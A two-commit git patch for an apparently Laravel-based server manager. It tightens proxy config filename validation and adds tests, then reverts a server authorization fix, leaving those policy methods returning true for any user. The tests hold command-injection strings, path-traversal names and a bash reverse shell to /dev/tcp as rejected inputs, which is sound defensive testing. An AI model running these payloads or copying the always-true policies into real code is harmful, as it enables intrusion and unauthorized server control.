From 419593e7d485c1222d0b75b74d7de5b708901aae Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 1 Jun 2026 15:14:28 +0200 Subject: [PATCH 1/2] fix(proxy): tighten config validation --- .../Proxy/DynamicConfigurationNavbar.php | 7 +- .../Server/Proxy/NewDynamicConfiguration.php | 3 +- app/Policies/ServerPolicy.php | 26 ++++---- tests/Unit/ProxyConfigurationSecurityTest.php | 52 +++++++++++---- tests/Unit/ServerPolicyAuthorizationTest.php | 66 +++++++++++++++++++ 5 files changed, 121 insertions(+), 33 deletions(-) create mode 100644 tests/Unit/ServerPolicyAuthorizationTest.php diff --git a/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php b/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php index c67591cf5..20d14ddc7 100644 --- a/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php +++ b/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php @@ -28,12 +28,11 @@ public function delete(string $fileName) // Decode filename: pipes are used to encode dots for Livewire property binding // (e.g., 'my|service.yaml' -> 'my.service.yaml') - // This must happen BEFORE validation because validateShellSafePath() correctly - // rejects pipe characters as dangerous shell metacharacters + // This must happen BEFORE validation because validateFilenameSafe() + // rejects pipe characters through validateShellSafePath(). $file = str_replace('|', '.', $fileName); - // Validate filename to prevent command injection - validateShellSafePath($file, 'proxy configuration filename'); + validateFilenameSafe($file, 'proxy configuration filename'); if ($proxy_type === 'CADDY' && $file === 'Caddyfile') { $this->dispatch('error', 'Cannot delete Caddyfile.'); diff --git a/app/Livewire/Server/Proxy/NewDynamicConfiguration.php b/app/Livewire/Server/Proxy/NewDynamicConfiguration.php index 31a1dfc7e..481d89c78 100644 --- a/app/Livewire/Server/Proxy/NewDynamicConfiguration.php +++ b/app/Livewire/Server/Proxy/NewDynamicConfiguration.php @@ -43,8 +43,7 @@ public function addDynamicConfiguration() 'value' => 'required', ]); - // Additional security validation to prevent command injection - validateShellSafePath($this->fileName, 'proxy configuration filename'); + validateFilenameSafe($this->fileName, 'proxy configuration filename'); if (data_get($this->parameters, 'server_uuid')) { $this->server = Server::ownedByCurrentTeam()->whereUuid(data_get($this->parameters, 'server_uuid'))->first(); diff --git a/app/Policies/ServerPolicy.php b/app/Policies/ServerPolicy.php index 6d2396a7d..659598139 100644 --- a/app/Policies/ServerPolicy.php +++ b/app/Policies/ServerPolicy.php @@ -28,8 +28,7 @@ public function view(User $user, Server $server): bool */ public function create(User $user): bool { - // return $user->isAdmin(); - return true; + return $user->isAdmin(); } /** @@ -37,8 +36,7 @@ public function create(User $user): bool */ public function update(User $user, Server $server): bool { - // return $user->isAdmin() && $user->teams->contains('id', $server->team_id); - return true; + return $this->canManageServer($user, $server); } /** @@ -46,8 +44,7 @@ public function update(User $user, Server $server): bool */ public function delete(User $user, Server $server): bool { - // return $user->isAdmin() && $user->teams->contains('id', $server->team_id); - return true; + return $this->canManageServer($user, $server); } /** @@ -71,8 +68,7 @@ public function forceDelete(User $user, Server $server): bool */ public function manageProxy(User $user, Server $server): bool { - // return $user->isAdmin() && $user->teams->contains('id', $server->team_id); - return true; + return $this->canManageServer($user, $server); } /** @@ -80,8 +76,7 @@ public function manageProxy(User $user, Server $server): bool */ public function manageSentinel(User $user, Server $server): bool { - // return $user->isAdmin() && $user->teams->contains('id', $server->team_id); - return true; + return $this->canManageServer($user, $server); } /** @@ -89,8 +84,7 @@ public function manageSentinel(User $user, Server $server): bool */ public function manageCaCertificate(User $user, Server $server): bool { - // return $user->isAdmin() && $user->teams->contains('id', $server->team_id); - return true; + return $this->canManageServer($user, $server); } /** @@ -98,7 +92,11 @@ public function manageCaCertificate(User $user, Server $server): bool */ public function viewSecurity(User $user, Server $server): bool { - // return $user->isAdmin() && $user->teams->contains('id', $server->team_id); - return true; + return $this->canManageServer($user, $server); + } + + private function canManageServer(User $user, Server $server): bool + { + return $user->isAdmin() && $user->teams->contains('id', $server->team_id); } } diff --git a/tests/Unit/ProxyConfigurationSecurityTest.php b/tests/Unit/ProxyConfigurationSecurityTest.php index 72c5e4c3a..4bcb70361 100644 --- a/tests/Unit/ProxyConfigurationSecurityTest.php +++ b/tests/Unit/ProxyConfigurationSecurityTest.php @@ -12,43 +12,69 @@ * - app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php */ test('proxy configuration rejects command injection in filename with command substitution', function () { - expect(fn () => validateShellSafePath('test$(whoami)', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('test$(whoami)', 'proxy configuration filename')) ->toThrow(Exception::class); }); test('proxy configuration rejects command injection with semicolon', function () { - expect(fn () => validateShellSafePath('config; id > /tmp/pwned', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('config; id > /tmp/pwned', 'proxy configuration filename')) ->toThrow(Exception::class); }); test('proxy configuration rejects command injection with pipe', function () { - expect(fn () => validateShellSafePath('config | cat /etc/passwd', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('config | cat /etc/passwd', 'proxy configuration filename')) ->toThrow(Exception::class); }); test('proxy configuration rejects command injection with backticks', function () { - expect(fn () => validateShellSafePath('config`whoami`.yaml', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('config`whoami`.yaml', 'proxy configuration filename')) ->toThrow(Exception::class); }); test('proxy configuration rejects command injection with ampersand', function () { - expect(fn () => validateShellSafePath('config && rm -rf /', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('config && rm -rf /', 'proxy configuration filename')) ->toThrow(Exception::class); }); test('proxy configuration rejects command injection with redirect operators', function () { - expect(fn () => validateShellSafePath('test > /tmp/evil', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('test > /tmp/evil', 'proxy configuration filename')) ->toThrow(Exception::class); - expect(fn () => validateShellSafePath('test < /etc/shadow', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('test < /etc/shadow', 'proxy configuration filename')) ->toThrow(Exception::class); }); test('proxy configuration rejects reverse shell payload', function () { - expect(fn () => validateShellSafePath('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename')) ->toThrow(Exception::class); }); +test('proxy configuration rejects path traversal filenames', function (string $filename) { + expect(fn () => validateFilenameSafe($filename, 'proxy configuration filename')) + ->toThrow(Exception::class); +})->with([ + '../VICTIM_FILE', + '../../etc/shadow', + '/etc/passwd', + 'subdir/config.yaml', + 'subdir\\config.yaml', + 'config..yaml', + "config.yaml\0../../etc/passwd", +]); + +test('dynamic proxy components use filename-safe validation', function () { + $deleteComponent = file_get_contents(getcwd().'/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php'); + $createComponent = file_get_contents(getcwd().'/app/Livewire/Server/Proxy/NewDynamicConfiguration.php'); + + expect($deleteComponent) + ->toContain("validateFilenameSafe(\$file, 'proxy configuration filename')") + ->not->toContain("validateShellSafePath(\$file, 'proxy configuration filename')"); + + expect($createComponent) + ->toContain("validateFilenameSafe(\$this->fileName, 'proxy configuration filename')") + ->not->toContain("validateShellSafePath(\$this->fileName, 'proxy configuration filename')"); +}); + test('proxy configuration escapes filenames properly', function () { $filename = "config'test.yaml"; $escaped = escapeshellarg($filename); @@ -64,20 +90,20 @@ }); test('proxy configuration accepts legitimate Traefik filenames', function () { - expect(fn () => validateShellSafePath('my-service.yaml', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('my-service.yaml', 'proxy configuration filename')) ->not->toThrow(Exception::class); - expect(fn () => validateShellSafePath('app.yml', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('app.yml', 'proxy configuration filename')) ->not->toThrow(Exception::class); - expect(fn () => validateShellSafePath('router_config.yaml', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('router_config.yaml', 'proxy configuration filename')) ->not->toThrow(Exception::class); }); test('proxy configuration accepts legitimate Caddy filenames', function () { - expect(fn () => validateShellSafePath('my-service.caddy', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('my-service.caddy', 'proxy configuration filename')) ->not->toThrow(Exception::class); - expect(fn () => validateShellSafePath('app_config.caddy', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('app_config.caddy', 'proxy configuration filename')) ->not->toThrow(Exception::class); }); diff --git a/tests/Unit/ServerPolicyAuthorizationTest.php b/tests/Unit/ServerPolicyAuthorizationTest.php new file mode 100644 index 000000000..97b8adbc6 --- /dev/null +++ b/tests/Unit/ServerPolicyAuthorizationTest.php @@ -0,0 +1,66 @@ +setRawAttributes(['id' => $teamId], true); + $team->setRelation('pivot', new Pivot(['role' => $role])); + + $user = new User; + $user->setRelation('teams', collect([$team])); + $user->setRelation('pivot', new Pivot(['role' => $role])); + + return $user; +} + +function serverPolicyServer(int $teamId): Server +{ + $server = new Server; + $server->setRawAttributes(['team_id' => $teamId], true); + + return $server; +} + +test('server members cannot update or manage servers', function () { + $policy = new ServerPolicy; + $member = userWithServerRole(1, 'member'); + $server = serverPolicyServer(1); + + expect($policy->update($member, $server))->toBeFalse() + ->and($policy->create($member))->toBeFalse() + ->and($policy->delete($member, $server))->toBeFalse() + ->and($policy->manageProxy($member, $server))->toBeFalse() + ->and($policy->manageSentinel($member, $server))->toBeFalse() + ->and($policy->manageCaCertificate($member, $server))->toBeFalse() + ->and($policy->viewSecurity($member, $server))->toBeFalse(); +}); + +test('server admins can update and manage servers in their team', function (string $role) { + $policy = new ServerPolicy; + $admin = userWithServerRole(1, $role); + $server = serverPolicyServer(1); + + expect($policy->update($admin, $server))->toBeTrue() + ->and($policy->create($admin))->toBeTrue() + ->and($policy->delete($admin, $server))->toBeTrue() + ->and($policy->manageProxy($admin, $server))->toBeTrue() + ->and($policy->manageSentinel($admin, $server))->toBeTrue() + ->and($policy->manageCaCertificate($admin, $server))->toBeTrue() + ->and($policy->viewSecurity($admin, $server))->toBeTrue(); +})->with(['admin', 'owner']); + +test('server admins cannot update servers outside their team', function () { + $policy = new ServerPolicy; + $admin = userWithServerRole(2, 'admin'); + $server = serverPolicyServer(1); + + expect($policy->update($admin, $server))->toBeFalse() + ->and($policy->delete($admin, $server))->toBeFalse() + ->and($policy->manageProxy($admin, $server))->toBeFalse(); +}); From 51894d9c05dea872cffe79c61ed4d0f08f863f1e Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 2 Jun 2026 10:57:14 +0200 Subject: [PATCH 2/2] chore: defer server policy changes --- app/Policies/ServerPolicy.php | 26 ++++---- tests/Unit/ServerPolicyAuthorizationTest.php | 66 -------------------- 2 files changed, 14 insertions(+), 78 deletions(-) delete mode 100644 tests/Unit/ServerPolicyAuthorizationTest.php diff --git a/app/Policies/ServerPolicy.php b/app/Policies/ServerPolicy.php index 659598139..6d2396a7d 100644 --- a/app/Policies/ServerPolicy.php +++ b/app/Policies/ServerPolicy.php @@ -28,7 +28,8 @@ public function view(User $user, Server $server): bool */ public function create(User $user): bool { - return $user->isAdmin(); + // return $user->isAdmin(); + return true; } /** @@ -36,7 +37,8 @@ public function create(User $user): bool */ public function update(User $user, Server $server): bool { - return $this->canManageServer($user, $server); + // return $user->isAdmin() && $user->teams->contains('id', $server->team_id); + return true; } /** @@ -44,7 +46,8 @@ public function update(User $user, Server $server): bool */ public function delete(User $user, Server $server): bool { - return $this->canManageServer($user, $server); + // return $user->isAdmin() && $user->teams->contains('id', $server->team_id); + return true; } /** @@ -68,7 +71,8 @@ public function forceDelete(User $user, Server $server): bool */ public function manageProxy(User $user, Server $server): bool { - return $this->canManageServer($user, $server); + // return $user->isAdmin() && $user->teams->contains('id', $server->team_id); + return true; } /** @@ -76,7 +80,8 @@ public function manageProxy(User $user, Server $server): bool */ public function manageSentinel(User $user, Server $server): bool { - return $this->canManageServer($user, $server); + // return $user->isAdmin() && $user->teams->contains('id', $server->team_id); + return true; } /** @@ -84,7 +89,8 @@ public function manageSentinel(User $user, Server $server): bool */ public function manageCaCertificate(User $user, Server $server): bool { - return $this->canManageServer($user, $server); + // return $user->isAdmin() && $user->teams->contains('id', $server->team_id); + return true; } /** @@ -92,11 +98,7 @@ public function manageCaCertificate(User $user, Server $server): bool */ public function viewSecurity(User $user, Server $server): bool { - return $this->canManageServer($user, $server); - } - - private function canManageServer(User $user, Server $server): bool - { - return $user->isAdmin() && $user->teams->contains('id', $server->team_id); + // return $user->isAdmin() && $user->teams->contains('id', $server->team_id); + return true; } } diff --git a/tests/Unit/ServerPolicyAuthorizationTest.php b/tests/Unit/ServerPolicyAuthorizationTest.php deleted file mode 100644 index 97b8adbc6..000000000 --- a/tests/Unit/ServerPolicyAuthorizationTest.php +++ /dev/null @@ -1,66 +0,0 @@ -setRawAttributes(['id' => $teamId], true); - $team->setRelation('pivot', new Pivot(['role' => $role])); - - $user = new User; - $user->setRelation('teams', collect([$team])); - $user->setRelation('pivot', new Pivot(['role' => $role])); - - return $user; -} - -function serverPolicyServer(int $teamId): Server -{ - $server = new Server; - $server->setRawAttributes(['team_id' => $teamId], true); - - return $server; -} - -test('server members cannot update or manage servers', function () { - $policy = new ServerPolicy; - $member = userWithServerRole(1, 'member'); - $server = serverPolicyServer(1); - - expect($policy->update($member, $server))->toBeFalse() - ->and($policy->create($member))->toBeFalse() - ->and($policy->delete($member, $server))->toBeFalse() - ->and($policy->manageProxy($member, $server))->toBeFalse() - ->and($policy->manageSentinel($member, $server))->toBeFalse() - ->and($policy->manageCaCertificate($member, $server))->toBeFalse() - ->and($policy->viewSecurity($member, $server))->toBeFalse(); -}); - -test('server admins can update and manage servers in their team', function (string $role) { - $policy = new ServerPolicy; - $admin = userWithServerRole(1, $role); - $server = serverPolicyServer(1); - - expect($policy->update($admin, $server))->toBeTrue() - ->and($policy->create($admin))->toBeTrue() - ->and($policy->delete($admin, $server))->toBeTrue() - ->and($policy->manageProxy($admin, $server))->toBeTrue() - ->and($policy->manageSentinel($admin, $server))->toBeTrue() - ->and($policy->manageCaCertificate($admin, $server))->toBeTrue() - ->and($policy->viewSecurity($admin, $server))->toBeTrue(); -})->with(['admin', 'owner']); - -test('server admins cannot update servers outside their team', function () { - $policy = new ServerPolicy; - $admin = userWithServerRole(2, 'admin'); - $server = serverPolicyServer(1); - - expect($policy->update($admin, $server))->toBeFalse() - ->and($policy->delete($admin, $server))->toBeFalse() - ->and($policy->manageProxy($admin, $server))->toBeFalse(); -});